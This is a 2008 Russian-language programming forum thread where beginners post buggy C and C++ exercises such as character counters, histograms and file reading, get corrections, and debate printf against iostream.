for (l = 0; l < i; ++l) {
printf("%d ", array[l]);
}
printf("\n\tTab: %d\n\tSpace: %d\n\tNumber: %d\n", t, space, n);
break;
}
else if (c = '\t') {
++t;
}
else if (c = ' ') {
++space;
}
else if (c >= '0' && c <= '9') {
++n;
}
else {
array[i] = c;
++i;
}
}
}
БЛин чуваки я дурак, не тот код скопировал. В этом подскажите пожалуйста в чем может быть проблема. После Symbol: выдаются цифры вместо букв.
Delimiter
12.06.2008, 00:13
#include <stdio.h>
main()
{
int c, nl, t, space, n, i, l;
int array[100];
nl = c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
i = 0;
while ((c = getchar()) != EOF) {
if (c = '\n') {
printf("\n\tSymbol: ");
for (l = 0; l < i; ++l) {
printf("%d ", array[l]); //!!! собака тут!!!!!!!!!!!!!!!!!!
// если хочешь как символ printf("%с ",(char ) array[l]);
// но будешь терять информацию в один байт два байта не впихнуть без потерь
}
printf("\n\tTab: %d\n\tSpace: %d\n\tNumber: %d\n", t, space, n);
break;
}
else if (c = '\t') {
++t;
}
else if (c = ' ') {
++space;
}
else if (c >= '0' && c <= '9') {
++n;
}
else {
array[i] = c;
++i;
}
}
}
БЛин чуваки я дурак, не тот код скопировал. В этом подскажите пожалуйста в чем может быть проблема. После Symbol: выдаются цифры вместо букв.
... переделай на char array[100];
но самой главное что ты массив и не заполняешь!!!!
procedure, я тебя уже спросил, что ты от кода ждешь????
procedure
12.06.2008, 00:32
z01b-> когда я только дошел до циклов в книге, у меня была задачка скопировать входной поток в выходной с фильтрацией символов. Я ее так и не смог не применяя функций (кроме getchar) и массивов решить, сейчас хотяб так постараюсь решить. Только не помогайте чуваки плиз, если что я вопрос сам задам. Я хочу сам сделать)))
Потом постепенно буду добавлять в эту задачку новые упражнния усложняя ее все более и более.
Delimiter
12.06.2008, 00:34
дебагером учись пользоваться , сразу увидишь механику ИЗНУТРИ!
procedure
12.06.2008, 00:47
еще вопрос, а как мне нужно полностью массив в char переделать?
int array[100];
переделать вот так:
char array[100];
Delimiter
12.06.2008, 00:56
еще вопрос, а как мне нужно полностью массив в char переделать?
int array[100];
переделать вот так:
char array[100];
да....
самое главное будет приведенье к типу char
если с=getchar() целое занимающее 2 байта
то получить код символа отбросив старший байт можно
array[index]=(char )c;
z01b-> когда я только дошел до циклов в книге, у меня была задачка скопировать входной поток в выходной с фильтрацией символов. Я ее так и не смог не применяя функций (кроме getchar) и массивов решить, сейчас хотяб так постараюсь решить. Только не помогайте чуваки плиз, если что я вопрос сам задам. Я хочу сам сделать)))
Потом постепенно буду добавлять в эту задачку новые упражнния усложняя ее все более и более.
#include <windows.h>
int main(int argc, char* argv[])
{
char in[255];char out[255];int i;scanf("%s",&in);for(i=0;i<=lstrlen(in);i++){out[i]=in[i];}printf("%s",out);return 0;}
Я гений?
ЗЫ У меня редактор такой и не пашет.
procedure
12.06.2008, 01:43
V obshem ya ispravil vot tak:
int c, nl, t, space, n, i, l;
char array[100];
.........
while ((c = getchar()) != EOF) {
........
else {
array[i] = (char )c;
/*array[i] = c;*/
++i;
}
Tolko v chem to dopustil oshibku seichas eksperementiruu.
Delimiter
12.06.2008, 01:44
почти 8)))))))))
если тут исправишь
scanf("%s",&in);
2 procedure
идешь в правильном направлении
procedure
12.06.2008, 01:46
тебе же сказали c== getchar()
eto ne sravnenie, a prisvaivanie,
Delimiter
12.06.2008, 01:48
с=getchar()
не сбивай его....
procedure
12.06.2008, 01:50
Mojet bit nujno "c" sdelat char?
Delimiter
12.06.2008, 01:56
нет getchar возвращает int , на случай скан-кодов со времен Dos
так уж клавиатура устроена что количество кодов которое она может выдать больше чем 255!
попробуй понять мою строку
for(i=0;(array[i]=(char )getchar())!=EOF;i++)
....
Mojet bit nujno "c" sdelat char?
нет, там все окей ;) с присваивается код введенного символа.
procedure
12.06.2008, 02:05
i++
a est ved raznica mejdu ++i; and i++; V kingie bilo napisano chto ++i; eto increment. A ostalnoe xz potom obyasnyat*)))))))
(array[i]=(char )getchar())!=EOF
eto ya ponyal tak, v massiv dobavlyautsa dannie poka idet vvod i poka virajenie ne ravno EOF.
v obshem seihas poprobuu.
procedure
12.06.2008, 02:07
t.e. etu stroku nujno ispolzovat vmesto while?
Delimiter
12.06.2008, 02:15
i++ и ++i
отличаются тем когда должно быть увеличение i
i++ после текущей ситуации
++i до текущей ситуации
уловие понял правильно.... ввод идет прямо в массив заодно проверяясь
самое смешное будет ниже
for(i=0;(array[i]=(char )getchar())!=EOF;i++)
{
switch(array[i])
{
case '\t':
case '1':
case '2':
case '3':
case '4':
case '5': i--; //фильтруются все символы от 1 до 5 и табуляции
} // за счет смещения текущего положения счетчика цикла
}
array[i]=0; //все строки в С должны завершаться нулем
printf("%s",array) // при указании массива без индексов берется его адрес
procedure
12.06.2008, 02:16
#include <stdio.h>
main()
{
int c, nl, t, space, n, i, l;
char array[100];
nl = c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
i = 0;
for(i=0;(array[i]=(char )getchar())!=EOF;i++) {
if (array[i] == '\n') {
printf("\nSymbol: ");
for (l = 0; l < i; ++l) {
printf("%d ", array[l]);
}
printf("\nTab: %d\nSpace: %d\nNumber: %d\n", t, space, n);
break;
}
else if (c == '\t') {
++t;
}
else if (c == ' ') {
++space;
}
else if (c >= '0' && c <= '9') {
++n;
}
}
}
ya perepisal kod nemonogo podrugomu, On vse ravno vidaet takoi resultat:
[root@procedure /tmp/programming]# cc cpstring.c
cpstring.c:62:4: warning: no newline at end of file
[root@procedure /tmp/programming]# /tmp/programming/a.out
sadfg
Symbol: 115 97 100 102 103
Tab: 0
Space: 0
Number: 0
[root@procedure /tmp/programming]#
>>
ya perepisal kod nemonogo podrugomu, On vse ravno vidaet takoi resultat
ну дык, а какой тебе результат нужен, если у тебя нету знака табуляции, новой строки и т.д.?
procedure
12.06.2008, 02:23
ya ehe ot seba dobavil case '\n': break; chtob is programmi vihodit bilo mojno, t.e. iz cikla.
no on chto to ne vihodit....sori ya swith prosto ehe ne prohodil...
Delimiter
12.06.2008, 02:29
в цикле for //// ты должен считать
а уж по окончании выдавать результаты , а ты при первом же нахождении
кода "возврата строки" пытаешься напечатать!
t=space=n=0;
for(i=0;(array[i]=(char )getchar())!=EOF;i++)
{
if(array[i]=='\t')
t++;
if(array[i]>='0' && array[i]<='9')
n++;
if(array[i]==' ')
space++;
}
array[i]=0; //все строки в С должны завершаться нулем
printf("Symbol:%s\r\n",array); // при указании массива без индексов берется его адрес
printf("Tab:%d\r\n",t);
printf("Space:%d\r\n",space);
printf("Number:%d\r\n",n);
procedure
12.06.2008, 02:29
ну дык, а какой тебе результат нужен, если у тебя нету знака табуляции, новой строки и т.д.?
mne nujen chtob on vidaval ne Symbol: 115 97 100 102 103, a Symbol: sadfg
Delimiter
12.06.2008, 02:31
ну ты выводишь каждый элемент как число
printf("%d ", array[l]);
если хочешь как символ
printf("%с ", array[l]);
но взгляни ВЫШЕ как я вывожу весь массив одной 0-завершенной строкой...
printf("%s",array); //вывод строки символов пока не встретится 0!
procedure
12.06.2008, 02:36
chvaki ya ponyal, chtob vivelsya simvol nujno bilo ispolzovat vmesto %d, %s. Spasibo bolshoe. Dumau do zavtra rashiru funkcional. =))
a est ved raznica mejdu ++i; and i++; .
ну это стандартно, что ++i сперва инкрементируется а потом используется а i++ сперва используется а потом инкрементируется..
To z01b:
а какая иде?
Охото сделать программу наподобие teleport pro.
Но до такого далеко...
в принципе парсится файл построчно, т.е. одна строка - одна сылка. Потом качаем через InternetReadFile().
Вот код в инете нашел ...
Сенк. Посмотрю.
To z01b:
Охото сделать программу наподобие teleport pro.
Но до такого далеко...
Integrated Development Environment = ИДЕ aka IDE
Если был бы Borland C++, мог бы юзать TStringList, поэтому и спросил.
Ток сёдня начал учить c++)
написал пары выводов и вводов ну в общем вот
#include <iostream>
using namespace std;
int main()
{
int vibor;
cout <<"Vvedite vash vibor\n";
cin >>vibor;
if(vibor==1)
{
int visota, osnovanie, ploshad;
cout <<"Visota treugolnika\n";
cin >>visota;
cout <<"Osnovanie treugolnika\n";
cin >>osnovanie;
ploshad = (visota * osnovanie) / 2;
cout <<"Ploshad:" <<ploshad <<"\n" <<endl;
system("PAUSE");
return 0;
}
if(vibor == 2)
{
int funt;
float kilo;
cout <<"Kolichestvo funtov?\n";
cin >>funt;
kilo = funt * 0.4095124;
cout <<"V kilogramah:" <<kilo <<"kg\n" <<endl ;
system("PAUSE");
return 0;
}
cout <<endl;
return 0;
}
У меня она работает а на соседем компе нет.
В чём моя ошибка? даже если засунуть в сетевую папку нвходяшиюся на другом копе и запустить то всёравно не запускаеца...
Delimiter
14.06.2008, 20:22
компилировал и линковал в дебаг моде поэтому дебаг dll-ки отсутствуют
.... нужно в конечном итоге перелинковать в релиз моде, если хочешь чтоб програмка использовала только стандартные dll-ки
<<"\n" <<endl;
к чему это?
Fata1ex ну \n это перевод строки а <<endl конец строки и очистка буфера=)
Delimiter ой думал я в релиз моде а я посто делал релиз и нажимал зелёную кнопку ипа плей(start debugging)
vc++ 2005
У меня она работает а на соседем компе нет.
В чём моя ошибка? даже если засунуть в сетевую папку нвходяшиюся на другом копе и запустить то всёравно не запускаеца...
Наверно на другом компе sp1 винда, по умолчанию exe-шник компилится со стандартными библиотеками windows, и в sp1 много чего не хватает, поэтому может появляться ошибка, тогда можно сделать так - Project->Properties , там на вкладке General есть пункт - "Use of MFC" , выбирай Use in Static library , после этого у тебя прога потяжелеет кило на 200-300, точна не считал, но точна уже запуститься, хоть на Windows 2000.
procedure
16.06.2008, 20:06
((( не смог сам сделать гистограмму на С. Помогите плиз.
#include <stdio.h>
/*program for copy input string to output string, in this programm here
edit symbol tab and backspace for input \\ */
main()
{
int c, t, space, n, i, l, z, h;
char array[100], nl;
c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
nl = '\\';
for(i=0;(array[i]=(char )getchar())!=EOF;i++)
{
if(array[i]=='\t') {
array[i]=nl;
++t;
}
if(array[i]=='\b') {
array[i]=nl;
}
if(array[i]>='0' && array[i]<='9') {
n++;
}
if(array[i]==' ') {
space++;
}
if(array[i]=='\n') {
array[i] = 0;
printf(" _\n");
for (z=0; z<i; ++z) {
if (array[z] == ' ') {
printf(" _\n");
}
else {
printf("| |\n");
}
}
printf("\nSymbol:\n%s\r\n", array);
printf("\nTab:%d", t);
printf("\nSpace:%d", space);
printf("\nNumber:%d\n", n);
break;
}
}
}
Delimiter
16.06.2008, 20:20
почему ты не даешь циклу нормально работать???
Вывод результатов нужно делать ПОСЛЕ работы цикла! А иначе получается ты пытаешься
выводить каждый раз когда нажимаешь Enter, как же в таком случае ты посчитаешь сколько раз он нажат. Если его не нужно считать и он должен завершать ввод, то просто
for(i=0;(array[i]=(char )getchar())!='\n';i++)
и внизу в цикле не нужно ничего пихать в массив(вместо табуляции), только считай повторы
поскольку ты пихаешь каждый символ уже
for(i=0;(array[i]=(char )getchar())!='\n';i++)
тут_______/
и это чего должно делать?
for (z=0; z<i; ++z)
{
if (array[z] == ' ')
{
printf(" _\n");
}
else {
printf("| |\n");
}
}
если это гистограмма то почему ты не используешь уже вычесленные n,space,t?
загоняй в for
типа
for(i=0;i<space;i++)
printf('=');
printf("\r\n");
одна линейка готова
Если же ты хочешь выходить все таки по EOF то...
#include <stdio.h>
/*program for copy input string to output string, in this programm here
edit symbol tab and backspace for input \\ */
main()
{
int c, t, space, n, i, l, z, h;
char array[100], nl;
c = t = space = n = 0;
for (i = 0; i < 100; ++i) {
array[i] = 0;
}
nl = '\\';
for(i=0;(array[i]=(char )getchar())!=EOF;i++)
{
if(array[i]=='\t') {
array[i]=nl; \\ непонятная замена
++t;
}
if(array[i]=='\b') {
array[i]=nl; \\ непонятная замена
}
if(array[i]>='0' && array[i]<='9') {
n++;
}
if(array[i]==' ') {
space++;
}
if(array[i]=='\n') {
array[i] = 0;
printf(" _\n");
for(z=0;z<space;z++)
printf('=');
printf("spaces\r\n");
for(z=0;z<n;z++)
printf('=');
printf("numbers\r\n");
for(z=0;z<t;z++)
printf('=');
printf("tabs\r\n");
printf("\nSymbol:%s\r\n", array);
printf("\nTab:%d\r\n", t);
printf("\nSpace:%d\r\n", space);
printf("\nNumber:%d\r\n", n);
// и главное сбрасывай счетчик i
// иначе в твоем исполнении опасно!!!
i=0; //!!!!!!!!!!!!!!!!!!!!!!!
// хотя этот break тебе и не даст 8)))
// но УЧИСЬ сбрасывать счетчики чтоб
// заработал EOF
// break; УБИРАЕМ ЭТО!!!!
// получится что статистика выводится только
// при нажатии Ентера
// значит нужно снова обнулить
c = t = space = n = 0;
}
}
}
А разве endl; не переводит на новую строку ? о_О
procedure
16.06.2008, 22:35
Delimiter-> что то плохо все понял, пива сегодня немного перепил. Единственное что ярко понял, это делать вывод после работы цикла, а гистограмма нужна которая показывает длинну слов в виде гистограммы.
А по поводу EOF это я вобще не знаю, что за прикол. Это выход из цикла когда нажимаешь Esc?
Я ко всем примерам из учебника, добавляю '\n' потому что не знаю как без Entera выйти из программы.
Отлично, я теперь все понял. Нужно делать гистограмму горизонтальной. А я хотел сделать ее вертикальной, и у меня не получалось.
Delimiter-> что то плохо все понял, пива сегодня немного перепил. Единственное что ярко понял, это делать вывод после работы цикла, а гистограмма нужна которая показывает длинну слов в виде гистограммы.
А по поводу EOF это я вобще не знаю, что за прикол. Это выход из цикла когда нажимаешь Esc?
Я ко всем примерам из учебника, добавляю '\n' потому что не знаю как без Entera выйти из программы.
Отлично, я теперь все понял. Нужно делать гистограмму горизонтальной. А я хотел сделать ее вертикальной, и у меня не получалось.
EOF - это End Of File ( конец файла )
А смысл и правда \n добавлять?? либо endl либо \n . Что б понятней было переформатировать.
лучше endl.
Если вывод делаешь через стандартный класс iostreаm и его предков и потомков, то конечно нужно использовать endl
А если вывод делаешь по С (функция printf и ей подобные), то лучше кроме как \n ничего не получится
просто я больше сишные люблю, привык к синтаксису, а у iostream команды управления вводом/выводом для cin/cout плохо знаю :) Но здесь как говориться, кому что нравиться
Delimiter
16.06.2008, 23:15
printf (и ее клоны) - это мощная команда кто умеет пользоваться форматами , даже само сравнение не коректно! Моська и слон!
printf (и ее клоны) - это мощная команда кто умеет пользоваться форматами , даже само сравнение не коректно! Моська и слон!
Друг, ты немного ошибаешься, iostream тоже имеет много очень параметров, я нашел
http://valera.asf.ru/cpp/book/c20.shtml
Просто огромный мануал по библиотеке iostream , она ничуть не хуже чем printf и его семейство :)
Просто привык к С , вот и пользуюсь printf , а некоторые друзья iostream, вот и все
Delimiter
17.06.2008, 00:21
извините .... что ошибся в вашей оценке мощности операторов >> << :D
напиши то же что и ниже с помощью твоих операторов и сравним!
float d=5,564632;
printf("%.2f",d);
....вывести именно 2 знака после запятой
У каждого варианта есть свои преимущества и недостатки. Как вообще можно сравнивать потоковый вывод и printf ?
И мне почему-то кажется что потоковы намного лучше, гораздо больше возможностей.
Delimiter -
streamsize precision(streamsize p);
p - количество знаков после запитой.
-> cout.precision(10);
Или я не понял - вы про перегруженные операторы сдвига или про потоковый ввод - вывод? операторы так же можно самим перегрузить так чтобы выводилось заданное колво знаков после запятой.
П.С.
если делать все через манипуляторы - мона написать так -
setprecision(int p); - работает аналогично
код с потоками, ко всему прочему, ещё гораздо нагляднее и читабельнее. Плюс, поток он же все-таки поток!!! - он сам по себе гораздо более функциональная и удобная вещь.
И вообще - зачем было делать аналог, менее удобный нежели его предшественник. Нелогично.
Delimiter
17.06.2008, 11:53
ну вот что и требовалось доказать в одну строчку вы не уложились 8)))))
разговоров нет..... хотите 2ве - это ваше право..... и не пытайтесь запихнуть 2 оператора на одну строку 8))))))))))) хотите набирать больше символов ручками?
Нравится абстрактное понятие поток??? 8)))) Прямо таки и льется??? Волнами???? Голубенький или всетаки коричневый??? 8))))))))) Вас дурят мужики .... ЛОЖКИ НЕТ!
... по поводу курицы и яйца, загляните в кернеловские функции и будете удивлены встретив там аналоги printf!
nc.STRIEM
17.06.2008, 12:06
Плюс, поток он же все-таки поток!!!
даж не знаю что ты этим хотел сказать....
имхо printf более функциональная весчь, хотя это кто как привык..
неболшой тестик на скорость
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <iostream.h>
#define ZIKL 1000000
int main()
{
int ts = time(NULL);
int i;
for(i = 0; i < ZIKL; i++)
printf("hello");
int tp = time(NULL);
for(i = 0; i < ZIKL; i++)
std::cout<<"hello";
printf("\n\nprintf - %d\ncout - %d\n", tp - ts, time(NULL) - tp);
return system("pause");
}
как видно printf работает быстрее, да и с ее помощбю оч удобно форматировать строки!
http://ru.wikipedia.org/wiki/Printf
Мда... Жаркие дебаты , прям бой какой то iostream vs stdio =)
Победитель - printf! Поздравляем поклонников функции!
ZIKL 100000
time cout 9
time printf 3
Тестик на скорость, зачем тогда писать на c++ этот код? Может тогда ради скорость на asm'e ? Потоковый вывод гораздо более удобен и функционален %)
а скуяле ты судья?
Delimiter
17.06.2008, 12:21
вы не логичны.... на асме приходится гораздо больше писать для той же ситуации... а мы говорим что printf - лаконичнее , быстрее и матрица не сьела ваш моск внушив что есть чтото с названием поток!
.... давайте я напишу класс назову его тиранозавр.... а все кто будут пользоваться с важность будут говорить о тирррексах.... и быть важными что они абстрагировались до уровня тиранозавров 8)))))))))))))
Тестик на скорость, зачем тогда писать на c++ этот код? Может тогда ради скорость на asm'e ? Потоковый вывод гораздо более удобен и функционален %)
а скуяле ты судья?
Я тест провел, победил printf , но никто ж не говорит что cout это плохо. Я ж говорю, кому что нравиться, через классы *stream зато удобней с файлами работать :)
И да - C++ оо язык, поэтому логичнее использовать для ввода-вывода на языке c++ именно классы-шаблоны ( А не сишные функции :(
ну вот что и требовалось доказать в одну строчку вы не уложились
Омг, что значит не уложились? Если я указываю прототип и пример это не значит, что в коде это будет две строчке.
printf быстрее если выводишь маленький объем данных. а соut если большой насколько я помню.
имхо юзать сишные ф-ции в с++ бред. пишите либо на си либо на си++.
А не дешевые сишные функции
подредактируй пожалуйста свой пост и измени дешевые сишные функции на сишные функции
Delimiter
17.06.2008, 12:45
я программю на С++ ! И я даже не понимаю о чем вы тут говорите.... С++ вобрало в себя весь Си(в стандарте Ansi) и пользоваться им не просто можно а нужно! Это не 2 языка... С++ это ступень развития Си
Все, щас иду на экзамен по языкам программирования и гружу препода - кто же круче. А то тут стало жарко прям! Ну еще раз, кому нравиться iostream - юзайте, кому нравиться printf - юзайте, все равно все при своих мнениях останемся!
и пользоваться им не просто можно а нужно
Страуструп вот только так не считает.
nc.STRIEM
этот тест очень субъективен.
выигрыш в скорости совсем небольшой. Мне кажется, это не то, на что нужно обращать внимание при разработке ПО. Оптимизация нужнаы лишь там, где она действительно нужна, и это далеко не тот случай.
nc.STRIEM
17.06.2008, 13:18
модеры создайте новую тему printf() vs iostream, и перенесите туда посты, пообсуждаем, тут просто флудить не охота.
в какойто степени iostream удобнее, НО некоторые весчи которые с легкостью реализуються через printf(), iostream не способна реализовать. теже форматирования строк..
а ваше это кто как привык..
Какие же вещи, которые можно реализовать с помощью printf, нульзя реализовать с помощью iostream? В том-то и дело что iostream обладает всеми возможностями printf + имеются собственные, которые в printf невозможны.
Delimiter
17.06.2008, 14:16
Между Страупом и Рихтером такая же разница! Один учит абстрагироваться другой управлять компом! В одном случае имеем программера который не знает что строка должна завершаться нулем зато быстро взращивает ботву, а в другом программера который и с ексепшинами воюет так как ему нравится!
имхо юзать сишные ф-ции в с++ бред.
Ты тру чувак :D :D
ЗЫ Спасибо, поржал :cool:
#include <iostream>
using namespace std;
#define size 10;
int main()
{
for(int i=0; i < size; i++)
{
cout<<"Test\n";
}
system("PAUSE");
return 0;
}
Почему комплится не хоче? если в цикле место size подставить 10 то всё норм... но я ведь обьявил что size это 10... делаю по книжке там такоей пример комплится норм... хотя у них BORLANDc++ а у меня visual studio c++
компилятор пишет
1>.\file.cpp(7) : error C2146: syntax error : missing ')' before identifier 'i'
1>.\file.cpp(7) : error C2059: syntax error : ';'
1>.\file.cpp(7) : error C2059: syntax error : ')'
1>.\file.cpp(8) : error C2143: syntax error : missing ';' before '{'
#define size 10;
точка с запятой лишняя
Forcer Ой точно))) чтото я уже совсем... автоматом эти точки с запятой ставлю
подскажите плз в чём прикол последняя строка ч ошибкой вылетает, компилирую vc++ 6;
#include "stdafx.h"
#include "winsock.h"
#include <string.h>
#include "winbase.h"
#include <stdlib.h>
#include <iostream.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char* argv[])
{
char *file="C://host.txt";
HANDLE filhend;
DWORD dw;
int i,j;
char *buff, *stroka;
filhend=CreateFile(file,GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
DWORD razm=GetFileSize(filhend, NULL);
buff = (char *)malloc(razm+1);
stroka = (char *)malloc(razm+1);
for(i=0;i<=razm;i++) {stroka[i]='\0'; buff[i]='\0';}
//DWORD razm=GetFileSize(filhend, NULL);
//cout << razm;
ReadFile(filhend, buff, razm/*127*/, &dw, 0 );
CloseHandle(filhend);
MessageBox(0,buff,"123",MB_OK);
i=0; j=0;
while(j<=razm){
while((buff[j]!=0x0D) || (j>=razm))
{
stroka[i]=buff[j];
j++; i++;
}
MessageBox(0,stroka,"123",MB_OK);
//for(int k=0;k<=j;k++) stroka[k]='\0';
j=j+2; i=0;
//if (buff[i]='!') {break;}
}
//CloseHandle(filhend);
return 0;
}
=================
разобрался
подскажите плз в чём прикол последняя строка ч ошибкой вылетает, компилирую vc++ 6;
}
Сам текст правильный, что именно за ошибка, скажи?
SVAROG
заметил:
char *file="C://host.txt"
в винде обратный слэш, т.е. "C:\\host.txt"
p.s. нужно выкладывать текст ошибки.
Есть код:
int BuffLen=(Param1c>>3)-(Param18>>3);
int EAX=(Param1c+Param18)&7;
if(EAX) Temp[BuffLen-2]&=(0xff)<<(8-EAX);
int ESI = Param18&7;
что делает ">>", "<<" и "&" ???
ToniKapuchon
27.06.2008, 20:05
Си толком не знаю, но подозреваю что смещение бит тройки на Param1c и Param18
& - логическое и
нужно переменную int загнать в char, я использовал
функцию itoa а она в конец массива дописывает два байта \x00\xCC как их оттуда убрать?
з.ы пишу почти первую программу на си))
Есть char массив в С++
char * test=new char[5];
test[0]=0x39;
test[1]=0x32;
test[2]=0x33;
test[3]=0x34;
test=test+2; //массив сместится на 2 байта: test[0] бдет равно 0х33, test[4]=0x34 и т.д.
При попытке сделать такое смещение в С# вылетает ошибка Error 2 Operator '+' cannot be applied to operands of type 'byte[]' and 'int'
как быть???
Piflit, нет, не помогло.
По идее, решение пифлита должно работать.
Интересно почему не работает :confused:
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot